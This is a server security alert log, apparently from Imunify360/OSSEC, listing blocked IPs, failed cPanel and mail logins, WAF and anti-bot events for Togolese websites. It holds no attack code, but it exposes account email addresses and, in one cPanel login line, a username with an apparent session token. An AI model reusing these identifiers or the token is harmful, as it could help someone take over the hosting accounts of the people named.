Jun 12 22:59:04 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 112.133.27.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 120.56.240.153
country_id: 1269750
description:
Jun 12 22:58:46 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 120.56.240.153 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 22:59:07 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.51.29.53
country_id: 1269750
description:
Jun 12 22:59:09 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.51.29.53 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.108
country_id: 1269750
description:
Jun 12 23:00:03 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 80.87.33.2
country_id: 798544
description:
Jun 12 22:59:26 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 80.87.33.2 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.224.240
country_id: 1269750
description:
Jun 12 22:59:31 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.224.240 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.61.87.152
country_id: 1814991
description:
Jun 12 22:59:36 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.61.87.152 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.102.165
country_id: 1835841
description:
Jun 12 22:59:59 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.102.165 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.91.233.238
country_id: 3469034
description:
Jun 12 23:01:05 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.91.233.238 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.18.166.108
country_id: 1269750
description:
Jun 12 23:00:17 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.18.166.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.171.94.75
country_id: 1835841
description:
Jun 12 23:00:42 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.171.94.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 118.103.253.188
country_id: 1820814
description:
Jun 12 23:00:44 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 118.103.253.188 has been locked due to Imunify RBL


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 198.235.24.140
country_id: 6252001
description:
Jun 12 23:00:44 ns5 pure-ftpd[1946292]: (?@198.235.24.140) [INFO] New connection from 198.235.24.140


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 122.114.158.24
country_id: 1814991
description:
2026-06-12 23:06:15 H=(localhost.localdomain) [122.114.158.24]:58228 F=<info@dhl.com> rejected RCPT <info@wellcity.tg>: The mail server could not deliver mail to info@wellcity.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 163.198.109.120
country_id: 953987
domain: lct-togo.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:163.198.109.120||TA:163.198.109.120||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.156.237.246
country_id: 3508796
description:
[2026-06-12 23:06:59 +0000] info [cpaneld] 38.156.237.246 - cent "GET /login/?login_only=1&user=cent&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cent (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [12/Jun/2026:23:07:55 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6711958&pdata=https%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305673 HTTP/2.0" 302 0 corpsdiplomaticnews.tg "https://corpsdiplomaticnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [12/Jun/2026:23:07:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6842775&pdata=http%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305667 HTTP/1.1" 302 0 corpsdiplomaticnews.tg "http://corpsdiplomaticnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 165.165.231.222
country_id: 953987
description:
[2026-06-12 23:09:59 +0000] info [cpaneld] 165.165.231.222 - letab "GET /login/?login_only=1&user=letab&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letab (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 187.49.244.151
country_id: 3469034
description:
[2026-06-12 23:10:04 +0000] info [cpaneld] 187.49.244.151 - leta "GET /login/?login_only=1&user=leta&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user leta (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 198.163.195.126
country_id: 1512440
description:
[2026-06-12 23:10:08 +0000] info [cpaneld] 198.163.195.126 - let "GET /login/?login_only=1&user=let&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user let (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 14.189.76.34
country_id: 1562822
description:
[2026-06-12 23:09:47 +0000] info [cpaneld] 14.189.76.34 - letabloidtg "GET /login/?login_only=1&user=letabloidtg&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabloidtg (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 190.212.126.163
country_id: 3617476
description:
[2026-06-12 23:09:55 +0000] info [cpaneld] 190.212.126.163 - letabl "GET /login/?login_only=1&user=letabl&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user letabl (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.5
country_id: 6252001
description:
205.169.39.5 - - [12/Jun/2026:23:10:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9594567&pdata=http%253A%252F%252Fcorpsdiplomaticnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305802 HTTP/1.1" 302 0 corpsdiplomaticnews.tg "http://corpsdiplomaticnews.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.5


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.52
country_id: 6252001
description:
205.169.39.52 - - [12/Jun/2026:23:11:39 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000839&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781305897 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.52


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.77.60.152
country_id: 1210997
description:
103.77.60.152 - - [12/Jun/2026:23:13:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116693&pdata=https%253A%252F%252Ftogodailynews.tg%252Fbas-mono-et-lacs-faure-gnassingbe-dote-les-deux-prefectures-dinfrastructures-socioeconomiques-adequates%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306009 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/bas-mono-et-lacs-faure-gnassingbe-dote-les-deux-prefectures-dinfrastructures-socioeconomiques-adequates/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.8885.1996 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.77.60.152


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 67.209.138.83
country_id: 1522867
description:
67.209.138.83 - - [12/Jun/2026:23:16:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9618580&pdata=https%253A%252F%252Fwebmail.tdopz.free.netmaster.tg%252F%253Flocale%253Dtr&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306199 HTTP/2.0" 302 0 webmail.tdopz.free.netmaster.tg "https://webmail.tdopz.free.netmaster.tg/?locale=tr" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:67.209.138.83


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 191.53.107.254
country_id: 3469034
description:
Jun 12 23:16:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 191.53.107.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-12 23:18:40 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:60952: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 124.243.181.12
country_id: 1880251
description:
124.243.181.12 - - [12/Jun/2026:23:21:52 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9739159&pdata=http%253A%252F%252Fwww.letabloid.tg%252F2026%252F04%252F24%252Fleadership-feminin-les-inscriptions-ouvertes-pour-le-concours-ambassadrice-de-paix-2027%252Ftagdivofficial&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306510 HTTP/1.1" 302 0 www.letabloid.tg "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:124.243.181.12


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 23:23:04 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:23:24:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10262889&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781306689 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 45.130.213.240
country_id: 458258
description:
2026-06-12 23:27:23 dovecot_plain authenticator failed for H=(26j1qwoz7642o4cw31vlkw8yxz) [45.130.213.240]:49470: 535 Incorrect authentication data (set_id=moise.attissovi@mesyscom.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.130.213.240
country_id: 458258
description:
Jun 12 23:27:21 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.130.213.240 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [12/Jun/2026:23:30:19 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672809&pdata=http%253A%252F%252Fowuls2.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307015 HTTP/1.1" 302 0 owuls2.mediatopnews.tg "http://owuls2.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.48
country_id: 6252001
description:
205.169.39.48 - - [12/Jun/2026:23:30:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10000791&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307027 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Linux; Android 7.0; SM-G930V Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.125 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.48


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [12/Jun/2026:23:30:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6855323&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307028 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [12/Jun/2026:23:30:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13001573&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307027 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 205.169.39.1
country_id: 6252001
description:
205.169.39.1 - - [12/Jun/2026:23:30:42 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9672809%26pdata=http://owuls2.mediatopnews.tg%26id=7fa3b767c460b54a2be4d49030b349c7%26ts=1781307015 HTTP/1.1" 404 561 owuls2.mediatopnews.tg "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.1


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.43
country_id: 6252001
description:
205.169.39.43 - - [12/Jun/2026:23:30:28 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6866077&pdata=https%253A%252F%252Fkpmg.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781307027 HTTP/2.0" 302 0 kpmg.tg "https://kpmg.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.43


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.220.100.248
country_id: 2921044
description:
Jun 12 23:31:47 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.220.100.248 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.220.100.248
country_id: 2921044
description:
2026-06-12 23:31:49 dovecot_plain authenticator failed for H=tor-exit-9.zbau.f3netze.de (g466c9rvmkgqkhsc) [185.220.100.248]:37606: 535 Incorrect authentication data (set_id=kpip@emt.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.26.178.139
country_id: 3175395
description:
Jun 12 23:36:24 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.26.178.139 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 68.178.161.20
country_id: 6252001
description:
Jun 12 23:39:18 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 68.178.161.20 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - kodjovi.tete@ucao-uut.tg [06/12/2026:23:46:15 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: kodjovi.tete@ucao-uut.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.20.234.161
country_id: 587116
description:
2026-06-12 23:48:16 dovecot_login authenticator failed for H=(250.43.246.220.static.netvigator.com) [94.20.234.161]:49045: 535 Incorrect authentication data (set_id=orders@soena.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.20.234.161
country_id: 587116
description:
Jun 12 23:48:14 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.20.234.161 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.210.132.14
country_id: 1269750
description:
[2026-06-12 23:55:10 +0000] info [cpaneld] 103.210.132.14 - cafe "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cafe (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 176.103.22.38
country_id: 690791
description:
Jun 12 23:55:39 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 176.103.22.38 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 190.92.200.107
country_id: 1880251
description:
190.92.200.107 - - [12/Jun/2026:23:55:41 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9662108&pdata=https%253A%252F%252Ftogodailynews.tg%252Fcategory%252Finternationale%252Fpage%252F7%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781308539 HTTP/2.0" 302 0 togodailynews.tg "https://togodailynews.tg/category/internationale/page/7/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:190.92.200.107


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.132.178.97
country_id: 2750405
description:
[2026-06-13 00:10:04 +0000] info [cpaneld] 185.132.178.97 NEW ucaouut:kpXue5ad6Mqn8QS_ address=185.132.178.97,app=cpaneld,creator=ucaouut,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 193.25.215.182
country_id: 6252001
description:
Jun 13 00:10:06 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 193.25.215.182 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 193.25.215.182
country_id: 6252001
description:
2026-06-13 00:10:08 dovecot_plain authenticator failed for H=(prwsa550v0hp7pykgksqz) [193.25.215.182]:39534: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 152.232.95.213
country_id: 6252001
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:152.232.95.213||TA:152.232.95.213||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 104.143.244.232
country_id: 2510769
domain: vitrinenews.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:104.143.244.232||TA:104.143.244.232||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 18.224.171.11
country_id: 6252001
description:
[2026-06-13 00:19:26 +0000] info [cpaneld] 18.224.171.11 - a.mathey "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user a.mathey (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.113.114.61
country_id: 3658394
description:
[2026-06-13 00:20:36 +0000] info [cpaneld] 181.113.114.61 - cloudetr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user cloudetr (has_cpuser_file failed)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.163
country_id: 3865483
description:
Jun 13 00:21:40 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.163 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:22:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:26:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 404 159 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16_0 Mobile/15E148 Safari/604.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: ossec
rule: 31129
name: Anti-bot protection. Grouped messages
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:28:49 +0000] "GET /favicon.ico HTTP/2.0" 415 587 afrique-distribution.net "https://afrique-distribution.net/z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.191.101
country_id: 1562822
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/category/economie/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.245.191.101
country_id: 1562822
domain: togodailynews.tghttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tghttp/togodailynews.tg/category/economie/ HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 78.148.66.96
country_id: 2635167
description:
78.148.66.96 - - [13/Jun/2026:00:28:48 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7169433&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310139 HTTP/2.0" 404 561 afrique-distribution.net "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:78.148.66.96


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 40.27.110.202
country_id: 6252001
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:00-31.40.27.110.202||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [13/Jun/2026:00:32:02 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6725228&pdata=http%253A%252F%252Fgfcusr.mediatopnews.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1781310721 HTTP/1.1" 302 0 gfcusr.mediatopnews.tg "http://gfcusr.mediatopnews.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 130.12.182.188
country_id: 6252001
description:
Jun 13 00:35:00 ns5 pure-ftpd[1997404]: (?@130.12.182.188) [INFO] New connection from 130.12.182.188


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.34
country_id: 953987
description:
Jun 13 00:35:12 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.129.62.34
country_id: 953987
description:
Jun 13 00:35:19 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.129.62.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 172.94.9.158
country_id: 130758
description:
Jun 13 00:35:58 ns5 auth[1698885]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 172.94.9.158 has been locked due to Imunify RBL


plugin: ossec
rule: 31131
name: Anti-bot protection. User failed to pass
abuser: 93.71.103.137
country_id: 3175395
description:
